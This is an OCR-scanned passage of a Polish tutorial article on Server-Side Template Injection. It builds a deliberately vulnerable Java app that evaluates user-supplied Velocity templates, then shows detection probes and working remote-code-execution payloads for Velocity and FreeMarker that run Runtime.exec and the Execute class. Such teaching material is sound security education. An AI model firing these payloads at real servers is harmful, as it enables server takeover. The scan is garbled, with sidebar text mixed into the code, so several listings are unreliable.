5. <body>
6. <hl>Hello dear user: <#foutputformat "HTML">${username!"Anonymous"}</#outputfo
rmat></hl>
7. <form action="/updateUsername"” method="POST">
8. <label for="username" style="display: block;
padding-bottom: 1@px">Change your username:</label>
9. <input type="text" name="username" style="display: block; padding-top: 5px;

width: 400px" value="<#outputformat "HTML">${username!""}</#outputformat>"/>
10. <input type="submit" style="display: block; margin-top: 1@px"/>
11. </form>
12. </body>
13.
14. </html>

Powyzszy szablon generuje dokument HTML dla uzytkownika. Jak widzimy, korzysta-
my gtéwnie z podstawiania zmiennych (zmienna username w liniach 6 i 9), a takze z
enkodowania danych, aby zapobiec atakom takim jak XSS (tag <#outputformat>
w tych samych liniach).

Uzycie Freemarkera w naszej aplikacji, pozwala w przyjemny sposob rozdzieli¢
czesc logiki serwera (gdzie przetwarzamy rézne dane), od czesci prezentacji (w ktorej
generujemy wyjsciowy plik HTML). Uzycie szablondw, jest tu jak najbardziej wska-
zane i przydatne.

Server-Side Template Injections

SERVER-SIDE TEMPLATE INJECTIONS - VELOCITY

Przejdzmy do gtéwnego tematu artykutu, czyli podatnosci SSTI (Server-Side Tem-
plate Injections). Aby mozliwe byto jej wykorzystanie, powinnismy przetwarza¢ po
stronie serwera szablony pochodzace od niezaufanych uzytkownikéw. Zmodyfiku-
jemy wiec lekko aplikacje - zatézmy, ze dodalismy nowa funkcjonalnos¢: uzytkow-
nik ma teraz mozliwos¢ otrzymywania mailowych powiadomien. Co wiecej, dajemy
mu mozliwos¢ spersonalizowania takich wiadomosci - i dla jego wygody, pozwala-
my personalizowac je za pomocg szablonéw. Dzieki temu, uzytkownik moze uzy¢
pewnych zmiennych, ktére zostang automatycznie uzupetnione przez framework.
Oto kod zmodyfikowanej aplikacji:

Listing 3. Kod zmodyfikowanej aplikac;ji

1. @Controller

2. public class TemplateController {

3.

4. @RequestMapping(method = RequestMethod.GET, path = "/")

5 public String hello(Map<String, Object> model, @CookieValue(required

= false, name = "username") String bé64username, @CookieValue(required

= false, name = "template") String bé64template) throws IOException {

6. String decodedUsername = null != b64username ? new String(
Base64.getDecoder().decode(b64username)) : "" ;

7 model.put("username", decodedUsername);
8.
9. if (null != be4template) {
10. String decodedTemplate = new String(
Base64.getDecoder().decode(b64template));
11. model.put("template", decodedTemplate);
12. try {
13. Writer userTemplateOut = new StringWriter();
14. VelocityContext vctx = new VelocityContext();
15. vctx.put("username"”, decodedUsername);
16. Velocity.evaluate(
vctx, userTemplateOut, "userTemplate", decodedTemplate);
17. model.put("emailMessage", userTemplateOut.toString());
18. } catch (ParseErrorException e) {
19. model.put("error", "Error in template: " + e.getMessage());
20.
21. }
22.
23. return "hello";
24, }
25.

26. @RequestMapping(method = RequestMethod.POST, path = "/updateUsername")
27. public String updateUsername(
@RequestParam("username") String username, HttpServletResponse response) {

28. response.addCookie(new Cookie(
"username", Base64.getEncoder().encodeToString(username.getBytes())));
29. return "redirect:/";
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30. }
31.
32.  (@RequestMapping(method = RequestMethod.POST, path = "/updateEmailMessage")
33. public String updateEmailMessage(
@RequestParam("template") String template, HttpServletResponse response) {

34. response.addCookie(new Cookie("template",
Base64.getEncoder().encodeToString(template.getBytes())));

35. return "redirect:/";

36. )}

37.

38. }

localhost:8081 - Google Chrome
=3 o localhost:8081 x WY

= C | ® localhost:8081

Hello dear user: ILoveTemplatesYes

Here is your email notification message:

Hi ILoveTemplatesYes, this is your notification!

Change your username:

|ILweTempIaIesYes -
| submit |
Change your email notification message (type "Susername” where you want your real username):

Hi $username, this is your notification!

| submit

Rysunek 3. Nowe funkcjonalnosci dzieki szablonom

Jak wida¢, duzo sie nie zmienito. Dodalismy nowy endpoint (pod $ciezka /upda-
teEmailMessage, linie 32-26) ktéry umozliwia zmodyfikowanie naszego szablonu.
Szablon jest przechowywany tak samo, jak nazwa uzytkownika — w ciastku. Endpo-
int na stronie gtéwnej teraz sprawdza tez drugie ciastko - template, i jedli je znaj-

Server-Side Template Injections

dzie (linia 9), przetwarza po odkodowaniu (linie 13-16) oraz umieszcza na stronie
(linia 17). Jak mozna zauwazy¢, szablon jest tym razem traktowany, jako stworzony
pod katem innego, mocno juz leciwego - jednak nadal szeroko uzywanego silnika:
Velocity. W rzeczywistosci, nie ma wiekszego sensu uzywanie dwdch réznych sza-
blonéw w jednej aplikacji, ale: po pierwsze - nie takie rzeczy sie zdarzaty w oprogra-
mowaniach z dtuga historig, a po drugie — w naszym przyktadzie chodzi o wyrazne
rozréznienie, co stanowi problem, a co jego nie stanowi. Szablony Freemarkera sg
dostarczane przez programiste, a zatem uznawane sg za bezpieczne - co wiecej,
same w sobie stanowig bardzo cenne narzedzie. Szablony Velocity natomiast sg
otrzymywane przez potencjalnie niezaufanego uzytkownika, i to tutaj mozemy szu-
kac¢ podatnosci SSTI. To, o czym musimy pamieta¢, to fakt, ze szablony, z punktu
widzenia atakujacego, nie réznia sie niczym od kodu wykonywalnego. Inny-
mi stowy, dostarczajac uzytkownikowi mozliwos¢ stworzenia szablonu, dajemy mu
w rezultacie prawo do dodania nowego kodu do naszej aplikacji! Warstwa prezentacji
testowej aplikacji nie zmienia sie znaczaco — dodano kilka elementéw odpowiedzial-
nych za obstuge i wyswietlenie szablonéw wiadomosci e-mail (linie 7-12 oraz 19-23):

Listing 4. Zmodyfikowany kod przyktadu

. <!DOCTYPE html>

. <html lang="en">

<h1>Hello dear user: <#outputformat "HTML">${username!"Anonymous"}</#outputfo
mat></hl>
. <span style="display: block;">Here is your email notification message:<span>
. <#if error??>
. <span style="display: block; padding: 1@px; color: red"><#outputformat "HTML
'>${error}</#outputformat></span>
10. <#else>
11. <textarea rows="10" cols="66" name="template" style="display: block;
margin: 10px" disabled="disabled"><#outputformat "HTML">${emailMessage!""}
</#outputformat></textarea>

1
2
3
4.
5. <body>
6
r
7
8
9

12, </#if>

13. <hr/>

14. <form action="/updateUsername" method="POST">

15. <label for="username" style="display: block;">Change your username:</label>
16. <input type="text" name="username" style="display: block; margin: 10px;

width: 400px" value="<#outputformat "HTML">${username!""}</#outputformat>"/>
17. <input type="submit" style="display: block; margin: 1@px"/>
18. </form>
19. <form action="/updateEmailMessage" method="POST">
20. <label for="template" style="display: block;">
Change your email notification message (
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type "$username" where you want your real username):</label>

21. <textarea rows="10" cols="66" name="template" style="display: block;
margin: 10px"><#foutputformat "HTML">${template!""}</#outputformat></textarea>

22. <input type="submit" style="display: block; margin: 1@px"/>

23. </form>

24. </body>

25.

26. </html>

Warto tu podkresli¢ co$, o czym juz zdawkowo wspomniatem — mozna zauwazyc,
ze programista miat pewne pojecie o zagrozeniach czyhajacych na aplikacje webo-
we: uwazna lektura kodu, a doktadnie - naszego szablonu definiujagcego zawartosc
strony, zwraca uwage na tag <#outputformat "HTML">, ktérego zadaniem jest
escaping naszego wyjscia uniemozliwiajacy atak typu XSS. Nalezy to podkresli¢,
gdyz obrona przed XSS, jak sie za chwile okaze - jest niewystarczajgca. Nawet
jesli aplikacja broni sie przed XSS, dalej warto sprébowac payloadow testujacych
pod katem SSTI. Co wiecej, odwrotnosc tego twierdzenia jest rowniez prawdziwa: w
momencie, kiedy odnajdziemy juz w testowanej aplikacji atak XSS, warto sprawdzi¢,
czy nie wystgpi tez problem SSTI - skoro programista zapomniat o jednej klasie po-
datnosci, istnieje niemata szansa, ze zapomniat tez o innej...

Oczywiscie powyzsza aplikacja jest bardzo prosta, i nie miataby wielu zastoso-
wan w rzeczywistosci (o prostote z reszta na tym etapie nam chodzi), ale niech to
nie zwiedzie nikogo — mozliwos¢ definiowania szablonéw (albo ich czesci, co juz
wystarcza) zdarza sie zaskakujgco czesto. Realnymi przyktadami sg wszystkie sy-
tuacje, w ktorych chcemy umozliwi¢ uzytkownikowi pewng automatyzacje, na
przyktad w definiowaniu szkieletéw wiadomosci mailowych (jak w przyktadzie),
w umozliwieniu tworzenia stron HTML z uzyciem prostszego ,jezyka” (na przyktad
systemy CMS czy Wiki) i wiele innych. Czesto z SSTI mamy do czynienia w miejscach,
o ktorych bysmy nawet nie pomysleli — doskonatym przyktadem jest Bug Bounty
z kwietnia zesztego roku — RCE poprzez SSTI na serwerach aplikacji Uber (za - ba-
gatela - 10 000$). Takie typy btedoéw zdarzajg sie z reguty wtedy, gdy programista
uzywa szablonéw w nieprawidtowy sposéb, to znaczy -, klei” je dynamicznie na ser-
werze przed przetwarzaniem.

Wréc¢my jednak do testowej aplikacji — w czym lezy zatem problem? Na czym
polega tytutowa podatnosc? Jak uzyskac nasze ,wymarzone” RCE?

Metoda wykorzystania podatnosci bedzie sie réznita, w zaleznosci od uzytego
silnika: my uzywamy Velocity. Mozemy zatem odwotac sie do badania pana Jame-

Server-Side Template Injections

sa Kettle ze znanej prawdopodobnie kazdemu czytelnikowi Sekuraka, firmy Port-
Swigger. Jest on odpowiedzialny za nagtosnienie (a w duzej mierze i odkrycie) oma-
wianej klasy podatnosci — zaprezentowanej najpierw na konferencji Black Hat USA
2015, a nastepnie opisanej w pracy naukowej, dostepnej rowniez w lekko zmienio-
nej formie w postaci wpisu na blogu. Sprébujmy zatem rozpocza¢ atak. James Ket-
tle proponuje, uzy¢ zmiennej $class:

localhost:8081 - Google Chrome

o localhost:8081

&« C | @ localhost:8081

Hello dear user: ILoveTemplatesYes

Here is your email notification message:

|[Exploiting: $class

Change your username:

IILweTempIatesYes -
- Submit
Change your email notification message (type "Susername" where you want your real username):

Exploiting: s$class

Submit

Rysunek 4. Préba eksploitacji podatnosci w przyktadowej aplikacji wykorzystujacej szablony - uzycie zmiennej Sclass

Nic sie nie stato? Dlaczego? Okazuje sie, ze zmienna ta jest dostepna w rozszerze-
niu Velocity, a nie w gtéwnym module. Mimo, ze James (zdajac sobie z tego sprawe)
przekonuje, ze rozszerzenie to jest wtgczone praktycznie wszedzie, z moich obser-
wacji wynika, ze jest to, niestety, nieprawda. W zwigzku z tym, oryginalny payload
nie zadziata w naszym przypadku... Czy to znaczy, ze mamy sie poddac?
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Na szczescie, sg inne mozliwosci — majac jakis$ czas temu do czynienia z btedem
typu Server-Side Template Injections, w ktérym nie dziatata zmienna $class, od-
krytem inny — w pewnym sensie prostszy — i bardziej naturalny sposéb uzyskania
RCE. Sprobujmy wykonac nastepujacy szablon:

localhost:8081 - Google Chrome

@ localhost:8081 X

“— C | @ localhost:2081

Hello dear user: ILoveTemplatesYes

Here is your email notification message:

This is string

Change your username:

ILoveTemplatesyes -
- Submit
Change your email notification message (type "Susername" where you want your real username):

#set( $string = "This is string" )
|gstring

Submit

Rysunek 5. Préba RCE z dyrektywq #set

Server-Side Template Injections

Dyrektywa #set pozwala nam przypisa¢ do zmiennej - w naszym przypadku
- $string, pewnej wartosci. U nas tg wartoscia jest string "This is string" (yo dawg),
ktéry nastepnie wyswietlamy. Rozumowanie jest nastepujgce: skoro zmienna
$string jest stringiem, a w Javie stringi sg obiektami klasy java.lang.String,
moze jestesSmy w stanie dostac sie do pdl tej klasy? Sprobujmy:

localhost:8081 - Google Chrome

o localhost:8081 bs

“— C | @ localhost:2081

Hello dear user: ILoveTemplatesYes

Here is your email notification message:

|class java.lang.String

Change your username:

[lLoveTemplatesyes -
- Submit
Change your email notification message (type "Susername" where you want your real username):

#set( $string = "This is string" )
|$string.class

Submit

Rysunek 6. Przypisanie do Sstring wartosci string

Bingo! Stworzenie prostego payloadu wykonujacego komende systemowg z tego
miejsca (majac dostep do obiektu typu java.lang.Class) jest juz proste:
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localhost:8081 - Google Chrome 4, #set( $processResult = $process.waitFor() )
- 5. #set( $out = $process.getInputStream() )
3 . localhost:8081 x WY 6. #set( $result = "" )
— C | ® localhost:8081 7.
8. #foreach( $i in [1..$out.available()] ) Czvm iest Path Traversal?
9. #set( $char = $string.valueOf($characterClass.toChars($out.read())) ) ymj '
Hello dear user: ILoveTemplatesYes 10. #set( $result = "$result$char” )
11. #end
Here is your email notification message: 12. $result Hardening WordPress

<]
| wynik dziatania:
Unpickle - deserializacja
localhost:8081 - Google Chrome w Pythonie l Zdalne

=3 o localhost:8081 x YW Wykonywanie e
< C | ® localhost:8081

Change your username:

|ILweTempIatesYes -

S— Hello dear user: ILoveTemplatesYes Webshells - wykrywanie tylnych
| suomt furtek w aplikacjach WWW

Change your email notification message (type "Susername" where you want your real username): Here is your email notification message:
#set( §string = "This is string" ) Linux

#set( $process = $string.class.forName("java.lang.Runtime").getRuntime().exec("sleep 5") )
#set( $processResult = $process.waitFor() )

\sprocessResult HTTP Strict Transport Security
(HSTS) w praktyce, czyli zmuszamy
przeglgdarke do stosowania

. y bezpiecznych potgczen

Submit |
Change your username:

|ILweTempIatesYes -

Rysunek 7. Payload Submit

Change your email notification message (type "Susername" where you want your real username):

Wykradanie tokendw,
hakowanie jQuery i omijanie
Same-O0Origin Policy - czyli jak

#set( $string = "This is string" )

Po wystaniu powyzszego payloadu rzeczywiscie zaobserwujemy, ze serwer czeka 5 #set( sprocess = $string.class. forName("java.lang.Runtime") .getRuntime().exec( uname’) ) wygratem XSSMas Challenge 2016
. . . X . . L, |#set( ScharacterClass = $string.class.forName("java.lang.Character") )
sekund z odpowiedzig. Wyglada na to, ze wszystko dziata i ze mamy mozliwos¢ wy- {#set( sprocessResult = $process.waitFor() )
#set( $out = Sprocess.getInputStream() )
konywania dowolnych komend. Niestety, na razie wykonywanych troche po omac- #set( sresult = ")
ku (ang. Blind) — nie widzimy wyniku dziatania. Nic nie stoi jednak na przeszkodzie, e e oA | Server-Side Template Injections
. .z , . . . #set( sresult = "Sresultschar” )
aby to zmieni¢, cho¢ nasz payload sie troche skomplikuje. #end
Sresult

Oto nowa wersja:

Listing 5. Loubmt)

1. #set( $string = "This is string" )

2. #set( $process = $string.class.forName(
"java.lang.Runtime").getRuntime().exec("uname") )

3. #set( $characterClass = $string.class.forName("java.lang.Character") ) Dziafa! Dla pewnosci, wyttumacze, co sie dzieje w kolejnych krokach exploita.

Rysunek 8. Modyfikacja payloadu, exploit
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Najpierw tworzymy obiekt klasy java.lang.String(linia 1),a nastepniezjego
pomoca w linii 2, pobieramy obiekt typu java.lang.Class dlaklasy java. lang.
Runtime, ktéry wykorzystujemy do uruchomienia procesu z naszag komenda: un-
ame. W linii 3, pobieramy obiekt java.lang.Class dla klasy java.lang.Char-
acter (przyda sie nam pozniej). Nastepnie, w linii 4, czekamy na zakonczenie dzia-
tania naszego procesu, po czym pobieramy obiekt typu java.io.InputStream
(linia 5), z ktbrego mozemy przeczyta¢ dane wyjsciowe z jego wykonania. Samo czy-
tanie jest troche uciazliwe, w zwiazku ze specyfika jezyka Java: w petli (linie 8-11)
od 1 do wartosci $out.available() (ta metoda zwraca ilo$¢ znakéw w strumie-
niu wejsciowym), pobieramy bajt jako liczbe i za pomoca uzyskanej wczesniej klasy
java.lang.Character, zamieniamy jg na znak, a nastepnie — na string (linia 9).
Wynik tej operacji doklejamy do zmiennej $result w linii 10. Finalnie, po zakon-
czeniu petli, wypisujemy zmienng $result i jest to juz petne wyjscie procesu - na
ekran (linia 12).

Jak wida¢, niespecjalnie trudny - szczegdlnie dla oséb zaznajomionych z Java
- payload umozliwia nam wykonanie dowolnego kodu na serwerze.

TEORIA, METODYKA, NARZEDZIA

Zaprezentowatem juz jak wyglada podatnosc SSTI, oraz jak jg wyexploitowac.
Pewnym problemem jednak jest fakt, ze istnieje bardzo duza liczba réznych silni-
koéw szablonodw, a kazdy dziata troche inaczej. Pytania nasuwaja sie wiec same - jak
wykry¢, ze dana aplikacja jest podatna na atak SSTI? Jak zidentyfikowa¢, z ktorym
silnikiem mamy do czynienia? Jak w koncu wyexploitowac podatnos$¢ w przypadku
0go6lnym?

Odpowiedzig na te pytania zajmiemy sie w tej czesci artykutu.

Identyfikacja podatnosci

Warunkiem koniecznym do exploitacji — co jest chyba oczywiste - jest przyjmo-
wanie przez aplikacje danych od uzytkownika. Bardzo uprosci sprawe (cho¢ nie jest
to konieczne), jesli te dane po ewentualnym przetworzeniu, zostang nam zwrécone.
W ogdlnosci, mamy trzy mozliwosci potraktowania danych, ktdre szerzej przedsta-
wiam ponizej.

Rozwazmy najprostszy przypadek: dane uzytkownika sa w catosci traktowane
jako szablon - a wiec sytuacja z wczesniejszego przyktadu. Kod bedzie wygladat
mniej wiecej tak:

Server-Side Template Injections

Listing 6.

Writer userTemplateOut = new StringWriter();

Template template = new Template("userTemplate"”, userTemplate, configuration);
Map<String, Object> templateModel = new HashMap<>();
templateModel.put("username"”, "someusername");

template.process(templateModel, userTemplateOut);

uih wNnPR

Aby, bez dostepu do kodu (perspektywa atakujgcego) upewnic sie, ze mamy do czy-
nienia z silnikiem szablonow, wstrzyknijmy jaki$ prosty element sktadni. Z reguty,
w takich przypadkach dobrze sprawdzaja sie na przyktad proste wyrazenia arytme-
tyczne, typu ${2*2}. Tego rodzaju payload w silniku Freemarker zredukuje sie po
prostu do wyniku 4:

localhost:8082 /fullTemplate - Google Chrome
@ localhost:8082/FullT: x YQRN

=
“— C | @ localhost:8082/fullTemplate
Bac

k

Here is your template:

${2*2}

- Submit
And here is result:

4

Rysunek 9. Préoba exploitacji - wstrzykniecie prostego elementu sktadni

Innym sposobem, jest uzycie zmiennej albo takiej, ktérg podejrzewamy, ze istnieje:
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¢ ~ C | @ localhost:s082/fullTemplate odrobinie szczeécia — dostarczy nam wiecej informacji. Na przyktad, ktory z silnikow SEKURAK.PL / (B[
Back szablonow jest tu uzywany (Rysunek 11).

Bfad sugeruje na przyktad, ze mamy do czynienia z silnikiem Freemarker. Jesli
serwer jest Zle skonfigurowany i rzeczywiscie zwraca btedy, to proba wymuszenia

Here is your template: i
Czym jest Path Traversal?

${username}
btedu parsowania jest trzecim z prostych sposobéw na identyfikacje podatnosci.
Wystarczy podac celowo Zle skonstruowany szablon: .
y yp y Hardening WordPress
&« [ | @ localhost:8082/fullTemplate
P
Back . _ . g .
Unpickle . d.eserlallzacla
: Here is your template: w Pythome i zdalne
And here is result: }
v wykonywanie kodu
Someusername
Rysunek 10. Préba exploitacji — uzycie zmiennych — wystepujqcej i nie istniejgcej Webshells - wykrywanie tylnych
furtek w aplikacjach WWW
s
... albo wrecz przeciwnie - takiej, ktéra nie istnieje.

W tym przypadku, mamy dwie interesujace sytuacje: albo nieistniejgca zmienna And here is result: HTTP Strict Transport Security
zostanie zupe’mie zignorowana (zatem nasz pay|oad nie WySWIet|I Sie w ogéle, co Error in template: Syntax error in template "userTemplate” in line 1, column 4: Unexpected end of file reached. (HSTS) w praktycey czyli zmuszamy
oznacza, ze miat specjalne znaczenie na serwera), albo jeszcze lepiej — dostaniemy przeglqgdarke do stosowania
wyjatek upewniajacy nas, ze mamy do czynienia z atakiem SSTI, to takze - przy Rysunek 12. Kolejny spos6b na identyfikacje podatnosci — wymuszenie parsowania bezpiecznych potqczen

7 (G ‘ @ localhost:8082/FullTemplate %] : Wykl’adanle tOkenOW,
— hakowanie jQuery i omijanie
:. | Same-0Origin Policy - czyli jak
ETE 15 your IEITIP ate:
T wygratem XSSMas Challenge 2016
| Server-Side Template Injections
4

And here is result:

Error in template: The following has evaluated to null or missing: ==> nonexistent [in template "userTemplate" at line 1, column 3] ---- Tip: If the failing expression is known to be legally refer to something that's sometimes null or missing, either specify a default value like
myOptional Var!myDefault, or use <#if myOptional Var??>when-present<#else>when-missing </#if>. (These only cover the last step of the expression; to cover the whole expression, use parenthesis: (myOptional Var.foo)!myDefault, (myOptional Var.foo)?? ---- ---- FTL stack trace ("~" means
nesting-related): - Failed at: ${nonexistent} [in template "userTemplate" at line 1, column 1] -—

Rysunek 11. Wynik uzycia zmiennych — wykonanie SSTI, informacja silniku szablonow ‘ \
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Warto zauwazy¢, ze nie musimy tu dosta¢ petnego wyjatku — dowolna informa-
cja o btedzie sugeruje, ze z naszym payloadem cos sie stato — jedyna nieinteresuja-
ca dla nas sytuacja zachodzi wéwczas, gdy dostaniemy w wyniku doktadnie to, co
wystaliémy. Oznacza to, ze nie doszto do przetworzenia naszego wejscia.

Drugi i trzeci przypadek, z ktérymi mozemy miec do czynienia, zajdzie wtedy,
gdy szablon jest ,klejony” w sposdb dynamiczny na serwerze przy uzyciu naszego
payloadu. Mamy dwie mozliwosci — pierwsza, gdy nasze wejscie jest uzywane poza
kontekstem wykonywalnym szablonu, na przyktad w taki sposéb:

Listing 7.

Jany

Writer userTemplateOut = new StringWriter();

Template template = new Template(“"userTemplate”, "Hello ${username},
your input is here: " + userPart, configuration);

Map<String, Object> templateModel = new HashMap<>();
templateModel.put(“username"”, "someusername");
template.process(templateModel, userTemplateOut);
model.put("result”, userTemplateOut.toString());

N

auviphw

Sytuacja ta jest bardzo prosta, gdyz z naszego punktu widzenia, nie rozni sie niczym
od poprzedniego przypadku - te same payloady testowe bedga dziata¢:

localhost:8082/textContext - Google Chrome
=3 o localhost:8082/text: x W' Y

C | @ localhost:808

<
Bac

=

Here is your template:

${2+2}

Submit |
And here is result:

|Hello someusername, your input is here: 4

Rysunek 13. Identyfikacja podatnosci — wejscia poza kontekstem wykonywalnym szablonu
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W ramach ciekawostki mozna wspomnie¢, ze doktadnie taka sytuacja miata miej-
sce we wspomnianym juz wczesniej btedzie znalezionym w Uberze.

Druga (i ciekawsza) opcja wystepuje wtedy, gdy nasz payload zostanie wstrzyk-
niety gdzie$ w $rodek kontekstu wykonywalnego:

Listing 8.

=

. Writer userTemplateOut = new StringWriter();
Template template = new Template("userTemplate",

"Hello ${username?" + userPart + "}, how are you doing?", configuration);
Map<String, Object> templateModel = new HashMap<>();
templateModel.put("username", "someusername");
template.process(templateModel, userTemplateOut);
model.put("result”, userTemplateOut.toString());

N

v hw

W tym przypadku, musimy sie troche bardziej nagimnastykowac, gdyz trzeba (po-
niekad) zgadna¢, jak wyglada szablon po stronie serwera. W powyzszym przykta-
dzie, payload ktérego mozemy uzy¢, bedzie prawdopodobnie wygladac tak:

localhost:8082/executableContext - Google Chrome
Ol o localhost:8082/exec x WY

= C | @ localhost:8082/executableContext
Bac

=

Here is your template:

-upper_case} ${2*2

[ Subme |
And here is result:

|Hello SOMEUSERNAME 4, how are you doing?

Rysunek 14. Proba wstrzykniecia payloadu w kontekst wykonywalny szablonu
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Moze sie jednak zdarzy¢, ze bedziemy musieli spedzi¢ troche czasu, aby odtwo-
rzy¢ wyglad szablonu. Warto tu skorzysta¢ z mniej, lub bardziej jednoznacznych
btedéw na serwerze - po raz kolejny, jesli dostaniemy cos innego niz nasz payload
zwrdcony znak w znak - mozna przypuszcza¢, ze doszto do przetworzenia naszego
nieprawidtowego szablonu. W takiej sytuacji, wiedzac ze btad istnieje, pozostaje tyl-
ko zbudowanie payloadu, nie powodujacego btedu.

Osobna sytuacje mamy wtedy, gdy serwer nie zwraca nam naszego (przetwo-
rzonego) wejscia. Mozemy woéwczas probowac exploitowac aplikacje ,na slepo”.
Przyktadowy kod:

Listing 9.

Writer userTemplateOut = new StringWriter();

Template template = new Template(“"userTemplate", userTemplate, configuration);
Map<String, Object> templateModel = new HashMap<>();
templateModel.put("username”, "someusername");

template.process(templateModel, userTemplateOut);

model.put("error", "I won't show you result");

AV hWNPR

| przyktadowy payload, ktéry spowoduje, ze serwer “zasnie” na 5 sekund (opisany
troche doktadniej na Rysunku 15):

Jesdli rzeczywiscie odpowiedz serwera bedzie opdzniona, prawdopodobnie
udato nam sie znalez¢ podatnos¢. Tego typu exploitacja jest bardzo podobna do
ataku typu Time-Based Blind SQL Injection - slepy, bazujacy na czasie SQL Injection.
W specyficznych przypadkach, mozemy tez otrzymywac rézne odpowiedzi z serwe-
ra, w zaleznosci od naszego payloadu, a wiec przeprowadza¢ atak slepy, bazujacy
na wartosciach logicznych SQL Injection (analogiczny do Boolean-Based Blind SQL
Injection) - jest to jednak sytuacja, ktora nie zdarza sie zbyt czesto.

Jak wida¢, testowanie w przypadkéw, z reguty nie jest bardzo trudne. Nadaje sie
wiec do automatyzacji, o ktérej bedzie traktowat jeden z nastepnych podrozdziatow.

Identyfikacja silnika

Jak wspominatem powyzej, liczba silnikow szablonéw jest bardzo duza, co po-
woduje dwa problemy: pierwszy, ze nie kazdy payload zadziata w kazdym silniku
(musimy trafi¢ zodpowiednia sktadnig) i drugi — ze exploitacja rézni sie w zaleznosci
od silnika, a wiec musimy doktadnie rozpoznag, z ktérym z nich mamy do czynienia
na serwerze.

Server-Side Template Injections

localhost:8082 /timeBasedBlind - Google Chrome
o localhost:8082/time  x

=
“— C | © localhost:8082/timeBasedBlind
Bac

k

Here is your template:

<#assi§n ex="freemar.ker.temp'late.uti..'l.ity.Execute"?new{-ﬁ ${ ex("sleep 5) } |

- Submit |
And here is result:

I won't show you result

Rysunek 15. Payload opdzniajqgcy odpowiedz serwera

Problem pierwszy nie ma prostego rozwigzania — trzeba po prostu testowac roz-
ne payloady, liczac na to, ze ktorys z nich zadziata. Rozwigzanie problemu drugiego
— paradoksalnie - utatwia nam pierwsza okoliczno$¢. Zatézmy na przyktad, ze mamy
do wyboru dwa silniki — Freemarker i Velocity oraz chcemy uzy¢ standardowego
payloadu arytmetycznego: 7*7. Z jednej strony, w przypadku Freemarkera, bedzie
to ${7*7}, ktéry zwrdci nam 49; Velocity nie przyjmie polecenia i po prostu zwréci
to, co mu wystalismy. Z drugiej strony, gdy uzyjemy payloadu #set($a=7*7)$%a,
Velocity zwrdci: 49, a Freemarker zas — niezmieniony payload. Dzieki przetestowa-
niu dwéch powyzszych payloadéw, mozemy jednoznacznie zidentyfikowac, z kto-
rym z tych dwéch silnikéw mamy do czynienia.

Uogdlniajac, drobne (lub czasem nie tak drobne) réznice w skfadni, powoduja,
ze w wiekszosci sytuacji mozemy niemal automatycznie zidentyfikowac silnik. Ja-
mes Kettle na te okoliczno$¢ przygotowat tadny, adekwatny (cho¢ nie do konca
kompletny) obrazek, przedstawiajacy drzewko decyzyjne:
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The new built-in (Configuration.setNewBuiltinClassResolver, Environ- SEKURAK.PL / (NN
ment.setNewBuiltinClassResolver): It’s used in templates like “com.
example.SomeClass”?new(), and is important for FTL libraries that are
partially implemented in Java, but shouldn’t be needed in normal tem-

${"z" join("ab")} Czym jest Path Traversal?

plates. While new will not instantiate classes that are not TemplateMo-
Unknown del-s, FreeMarker contains a TemplateModel class that can be used to

create arbitrary Java objects. Other “dangerous” TemplateModel-s can .
L . Ve - Hardening WordPress
e exist in you class-path. Plus, even if a class doesn’t implement Templa-
teModel, its static initialization will be run. To avoid these, you should

use a TemplateClassResolver that restricts the accessible classes (possi- Unpickle - deserializacja
bly based on which template asks for them), such as TemplateClassRe- /

w Pythonie i zdalne
solver. ALLOWS_NOTHING_RESOLVER. .
{7*7 wykonywanie kodu

Wspaniale! Nie dos¢, ze dowiedzielismy sie, ze silnik jest podatny na wstrzykniecie
kodu (“Consider templates as part of the source code"), to jeszcze otrzymalismy dos$¢
wyrazne wskazowki, jak wyexploitowac aplikacje w praktyce. Rzeczywiscie, zgodnie

Webshells - wykrywanie tylnych

Rysunek 16. Drzewko decyzyjne umozliwiajgce identyfikacje silnika szablonéw (Zrddto: https://goo.gl/ZyfR2E) . i fur tek w aplikacjach www

z dokumentacja, przyktadowy sposéb otrzymania RCE na serwerze (co zaprezento-
Bedziemy chcieli zautomatyzowac ten proces. watem w przykfadzie testowania pod katem ataku SSTI na $lepo) uzywa wbudowa-

nej funkcji new () w nastepujacy sposob: HTTP Strict Transport Security
Exploitacja Listing 10, (HSTS) w praktyce, czyli zmuszamy

Zidentyfikowalismy podatnos¢, zidentyfikowalismy silnik — czas na exploitacje. przeglgdarke do stosowania

Oczywiscie w najprostszym przypadku wystarczy uzy¢ wyszukiwarki Google z ha- 1. <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("uname") } bezpiecznych potqczen
stem "<zidentyfikowany silnik> Server-Side Template Injections"- i z duzym prawdo-
podobienstwem, znajdziemy to, czego szukamy (tu znowu warto wspomnie¢, ze [ wynik:

. - - I e Wykradanie tokendw,
James Kettle opracowat wiele metod exploitacji dla roznych silnikow). Zatézmy jed- hakowanie jQuery i omijanie

nak, ze silnik jest nieznany i wczeéniej nie badany pod katem SSTI. Co wtedy? < Same-0rigin Policy - czyli jak
Mamy dwie podstawowe mozliwosci. Pierwsza, to... czytanie dokumentacji. Au- Back wygratem XSSMas Challenge 2016

torzy silnikdw czesto sg tak uprzejmi, ze jak na tacy podajg nam to, czego szukamy. i i

Na przyktad, w dokumentacji Freemarkera:

= | @ localhost:8082/fullTemplate

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("uname") }

| Server-Side Template Injections
Q: Can | allow users to upload templates and what are the security implications?

A: In general you shouldn’t allow that, unless those users are system
administrators or other trusted personnel. Consider templates as part
of the source code just like *.java files are. If you still want to allow
users to upload templates, here are what to consider:

And here is result:

| Linux

Do

Rysunek 17. Uzycie wbudowanej funkcji new () ‘ \
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Nie zawsze jednak jest tak fatwo. Jesli nie znajdziemy informacji wprost w doku-
mentacji, musimy uzy¢ starego, dobrego ataku stownikowego. Zalezy nam na zna-
lezieniu ciekawych zmiennych zdefiniowanych w programie — na przyktad, czesto
silniki szablonéw zawierajg referencje do siebie (pewnego rodzaju this). W innych
przypadkach - takich jak w pierwszym rozwazanym przez nas przyktadzie z Velocity
— mozemy dostac referencje do obiektu pozwalajacego na wykorzystanie mecha-
nizmu refleksji (w przypadku Velocity i Javy — java.util.Class). Jedyne, co nas
ogranicza, to wyobraznia i... stownik, z ktérego chcemy skorzystac. Na szczescie
niezawodny James Kettle pomyslat rowniez o tym, i udostepnit stownik, ktérego
sam uzywat. Oczywiscie, warto go rozszerza¢ o wtasne pomysty.

Nalezy tez wspomniec, ze czes¢ szablondw umozliwia po prostu pisanie zwykte-
go kodu jezyka - taka sytuacje mamy m.in. w silnikach Smarty, Twig (PHP) czy Jin-
